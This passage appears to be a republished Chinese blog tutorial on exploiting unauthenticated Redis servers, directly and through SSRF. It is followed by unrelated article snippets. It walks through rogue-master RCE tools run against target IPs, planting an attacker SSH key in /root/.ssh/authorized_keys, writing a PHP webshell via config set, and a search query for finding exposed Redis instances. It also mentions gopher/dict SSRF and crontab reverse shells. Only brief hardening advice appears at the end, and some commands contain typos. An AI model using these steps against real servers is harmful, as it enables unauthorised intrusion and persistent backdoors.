Redis未授权访问及配合SSRF总结

news2024/11/25 14:56:59

Redis是一个开源的内存数据库,它用于存储数据,并提供高性能、可扩展性和丰富的数据结构支持。

Redis复现文章较全

Redis+ssrf漏洞利用探测内网

RedisInsight/RedisDesktopManager可视化连接工具

漏洞原理

1)redis绑定在 0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,
如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,并且写公匙登录

测绘查找

port="6379"&server="redis"

Docker开启环境

docker-compose up -d

docker-compose ps  // 查看端口6379

kali扫描主机同样存在

Redis(<=5.0.5) RCE 工具梭哈

RedisRCE工具

攻击机下载RCE工具 redis-rogue-server工具。使用该工具将在终端伪造一个redis服务并尝试与目标连接实现未授权访问

git clone  https://github.com/n0b0dyCN/redis-rogue-server   // kali直接下载 

python3 ./redis-rogue-server.py --rhost 靶机ip --lhost 攻击机ip  // 连接

i // 交互式  成功RCE 

Redis 4.x/5.x 主从复制 RCE

工具地址

主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点

漏洞原理是目标靶机存在ssrf漏洞探测到了Redis未授权,我们可以自己搭建一个redis服务器作为目标靶机的主服务器,也就是说我们在redis服务器恶意构造.so文件,通过主从复制的模式到该目标靶机实现RCE


通过工具远程连接执行,原本是通过git在kali克隆但是克隆不了,所以从物理机手动下载移到Kali并且进入redis-rogue-getshell-master/RedisModulesSDK/exp路径使用make命令下载模块,下载完成后cd回到根目录redis-rogue-getshell-master

python ./redis-master.py -r 10.2.109.98 -p 6379 -L 192.168.111.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

// 第一个IP 靶机IP  第二个 攻击机IP   最后为需要执行的命令

未授权生成ssh1公私钥免密登录

登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥; 未授权成功后将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用保留在攻击机对应私钥使用ssh服务器登录目标服务器

  • 为什么redis可以获取服务器的root权限呢?RSA key的登陆方式在服务器方面是要将公钥写入目标authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里^注释2,后面我们拿对应私钥登陆即可(但是这种方式需要再redisroot启动的情况下使用,因为非root权限无法进入/root目录)

攻击机中生成ssh公钥和私钥文件,密码为空一直回车就行 id_rsa为私钥,id_rsa.pub为公钥

进入ssh目录将生成的公钥保存到1.txt并且使用远程连接攻击连接靶机把1.txt写入redis

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt  // 攻击机保存文件

cat 1.txt | redis-cli -h 192.168.31.169 -x set crack

下面操作就是更改目标服务器Redis备份路径为ssh公钥存放目录,但是一直是权限不足,所以没有弄了,下面是别人的操作,上传公匙文件保存退出

此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器

Redis-cli工具连接写shell

攻击机下载工具

wget http://download.redis.io/redis-stable.tar.gz

tar -zxvf redis-stable.tar.gz
cd redis-stable
make  // 编译 时间很久

远程连接Redis服务器免密登录命令

无密码登录命令

C 目标主机IP

有密码登录命令

redis-cli -h 目标主机IP -p 端口6379 -a 登录密码


redis-cli -h 10.2.109.98  // 连接靶机redis服务器

info  // 输出获取有关 Redis 服务器的各种信息,包括版本、模式、操作系统等

写入shell文件

靶场没有开启web端口无法直接上传木马文件,用写入shell文件的方式添加后门攻击者在未授权访问Redis的情况下,利用服务自身提供的config命令,可以进行写文件所以可以写入shell,在上文远程连接基础上写入文件,选择/tmp目录通常对所有用户都是可读写的

config set dir /tmp   // 选择目录为tmp
config set dbfiname saber.php   // 文件名为saber.php

// 添加几\r\n个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"  // 文件内容
save  // 执行 

写入文件后可以通过容器ID查看文件

Docker查看写入Shell成功,使用IP结合路径就可以 连接蚁剑了

Redis+SSRF

国光SSRF靶场探测内网

SSRF中Redis的利用掌控社区

飘渺红尘对于SSRC协议攻击Redis分析

goher协议写RCE脚本项目

利用SSRF伪协议 file读取机器文件获得内网IP 再次利用伪协议DICT 配合内网IP探测内网端口开放情况,如果存在6379开放且是未授权连接则可以按上面的打方打,前提是SSRF扫描到了内网的Redis服务,然后 SSRF配合伪协议在Redis里面写东西,利用上面的工具,通常都是gopher协议构造数据包,SSRF打Redis关键就是用**gopher2/dict协议 两个都可以写一句话,dict可以写计划任务

  • config写一句话shelltmp或者其他有写入权限目录 ; 知晓网站绝对路径通过蚁剑连接,
  • 攻击机生成公私钥复制上传,造成免密登录对方机器
  • crontao写入计划任务反弹shell

修复建议

  • 修改redis.conf配置文件设置bind 127.0.0.1,这将限制Redis仅接受来自本地主机的连接
  • 设置强密码连接Redis需要进行身份验证

  1. 登录方式:私匙生成 公匙验证 ↩︎

  2. 使用gopher发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 ↩︎

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2223483.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++类与对象四

C类与对象&#xff08;四&#xff09; 上期我们介绍了构造函数和析构函数&#xff0c;这期我们来介绍拷贝函数和运算符重载 拷贝函数 在现实生活中&#xff0c;可能存在另一个你。 那在C中&#xff0c;我们是否能创建一个与已知对象一样的新对象呢&#xff1f; 拷贝构造函数…

六.python面向对象

学过C或者Java的同学一定了解过面向对象的相关内容&#xff0c;编程语言一般分为两种设计方式&#xff1a;面向对象、面向过程&#xff0c;早期的编程语言多是面向过程的&#xff0c;由多个过程组合在一起&#xff0c;而Python在设计的时候就是一种面向对象的语言&#xff0c;因…

[学习笔记]线段树(全)

线段树是一种可以处理区间问题的优秀数据结构. 线段树是一颗二叉树, 其中的每一个节点都代表了某个区间的信息. 普通线段树 这里默认您已经会了以下操作: 建树(以单点修改的形式)单点修改/查询区间查询 如果不会的话请见OI Wiki 着重讲解区间修改中 tag 的用法 对于区间修…

InternVL-1.1: Enhance Chinese and OCR Capabilities

Blog:https://internvl.github.io/blog/2024-01-24-InternVL-1.1/ 指南:https://internvl.readthedocs.io/en/latest/internvl1.1/introduction.html InternVL-Chat-V1-1 结构类似于 LLaVA,包括一个 ViT、一个 MLP 投影器和一个 LLM。如上图所示,我们通过一个简单的 MLP …

ubuntu服务器离线安装pytorch(cpu版本)

一、查看服务器是否有nvidia显卡&#xff08;无输出则没有nvidia显卡&#xff0c;则不需要安装nvidia驱动、cuda、cudnn&#xff09; lspci | grep -i nvidia 二、本地下载对应版本的torch&#xff08;对应python版本和linux系统&#xff09; 注意&#xff1a;cpu版本&#…

iOS调试真机出现的 “__llvm_profile_initialize“ 错误

一、错误形式&#xff1a; app启动就崩溃&#xff0c;如下&#xff1a; Demo__llvm_profile_initialize:0x1045f7ab0 <0>: stp x20, x19, [sp, #-0x20]!0x1045f7ab4 <4>: stp x29, x30, [sp, #0x10]0x1045f7ab8 <8>: add x29, sp, #0x100x1…

python最新h5st4.9.1调用源码(2025-10-25)

废话不多说&#xff0c;直接上源码&#xff0c;需要技术支持的私。 一、调用js方法&#xff1a; # -*- coding: utf-8 -*- """ -------------------------------------------------Author: byc6352File: jdh5st.pyTime: 2024/10/25 08:03Technical Support:by…

Python 20个必学实例盘点

Python 1. 计算器程序&#xff1a; def add(x, y): return x ydef subtract(x, y): return x - ydef multiply(x, y): return x * ydef divide(x, y): try: return x / y except ZeroDivisionError: print("除数不能…

基于SpringBoot+Vue+uniapp微信小程序的文玩销售小程序的详细设计和实现

项目运行截图 技术框架 后端采用SpringBoot框架 Spring Boot 是一个用于快速开发基于 Spring 框架的应用程序的开源框架。它采用约定大于配置的理念&#xff0c;提供了一套默认的配置&#xff0c;让开发者可以更专注于业务逻辑而不是配置文件。Spring Boot 通过自动化配置和约…

【网路原理】——HTTP状态码和Postman使用

阿华代码&#xff0c;不是逆风&#xff0c;就是我疯 你们的点赞收藏是我前进最大的动力&#xff01;&#xff01; 希望本文内容能够帮助到你&#xff01;&#xff01; 目录 引入&#xff1a; 一&#xff1a;状态码 1&#xff1a;状态码标准 2&#xff1a;常见的状态码 ①2…

依托微信小程序,畅享校园二手交易

作者介绍&#xff1a;✌️大厂全栈码农|毕设实战开发&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。 &#x1f345;获取源码联系方式请查看文末&#x1f345; 推荐订阅精彩专栏 &#x1f447;&#x1f3fb; 避免错过下次更新 Springboot项目精选实战案例 更多项目…

普通数组矩阵

文章目录 普通数组一、最大子数组二、合并区间三、轮转数组四、除自身以外数组的乘积五、缺失的第一个正数 普通数组 一、最大子数组 题目链接 方法一&#xff1a;动态规划 方法二&#xff1a;前缀和&#xff08;有点难理解&#xff09; 二、合并区间 题目链接 三、轮…

Linux中部署Mysql保姆级教程

一、版本说明 本文的版本号是5.7.30,5.6及以上版本的MySQL要求Linux系统虚拟内存不能小于1G,否则MySQL可能无法运行。 二、安装前的准备 2.1查看系统自带的Mariadb rpm -qa|grep mariadb 安装mysql为什么需要卸载mariadb: 以前的Linux系统中数据库大部分是mysql,…

android 利用adb将apk安装到模拟器中的方法

1、安装完成了sdk以后&#xff0c;会有一个工具集&#xff0c;里面有一个adb.exe&#xff0c;这个文件可以查看模拟器列表&#xff0c;及安装apk到模拟器中。 可以将这个目录加到环境变量中&#xff0c;这样就不用定位到目录&#xff0c; 然后使用adb命令了。 2、这里我们先定…

纯血鸿蒙:国产操作系统的崛起与安卓的本质区别

华为正式发布纯血鸿蒙&#xff08;Harmony OS 5.0&#xff09;标志着中国科技产业进入了一个崭新的时代。随着这一操作系统的推出&#xff0c;中国不仅在消费电子领域迎来了一个新的操作系统生态&#xff0c;更是加强了中国在全球科技领域的发言权。本文将深入探讨纯血鸿蒙与安…

win10怎么卸载软件干净?电脑彻底删除软件的方法介绍,一键清理卸载残留!

电脑上经常会下载各种各样的软件来协助我们办公&#xff0c;不同的软件能够满足不同的需求。 但是不少软件可能使用频率没有那么高&#xff0c;甚至完全不使用。这个时候就需要将这些不常用的电脑软件卸载掉了&#xff0c;卸载软件能够释放一定的存储空间&#xff0c;提高电脑…

封装echarts组件,即插即用(附源码)

前言&#xff1a;最近一个项目刚收工&#xff0c;分享一个常用的封装echarts的组件。 一、直接上组件代码 <template><el-card class"echart-card" shadow"hover"><template v-slot:header><div class"card-header">&…

[网络协议篇] UDP协议

文章目录 1. 简介2. 特点3. UDP数据报结构4. 基于UDP的应用层协议5. UDP安全性问题6. 使用udp传输数据的系统就一定不可靠吗&#xff1f;7. 基于UDP的主机探活 python实现 1. 简介 User Datagram Protocol&#xff0c;用户数据报协议&#xff0c;基于IP协议提供面向无连接的网…

郑州地铁携手百望云,以数电票平台升级打造坚实便民惠民服务能力

随着城市的快速发展&#xff0c;地铁成为很多大城市市民出行的主力工具。为民众出行提供安全、便捷、合规的出行服务&#xff0c;成为相关机构的重点工作。 近日&#xff0c;郑州地铁集团有限公司&#xff08;以下简称“郑州地铁”&#xff09;与百望云达成合作&#xff0c;开…

免杀对抗—特征码修改花指令资源修改加壳保护

前言 今天主要是讲这个特征码定位以及这个花指令&#xff0c;资源修改这个东西其实有点投机取巧啦&#xff0c;至于这个加壳之前也讲过了&#xff0c;直接工具搞就行。那么什么是特征码定位呢&#xff0c;众所周知&#xff0c;杀软是通过特征码来检测我们的exe是否是后门的&am…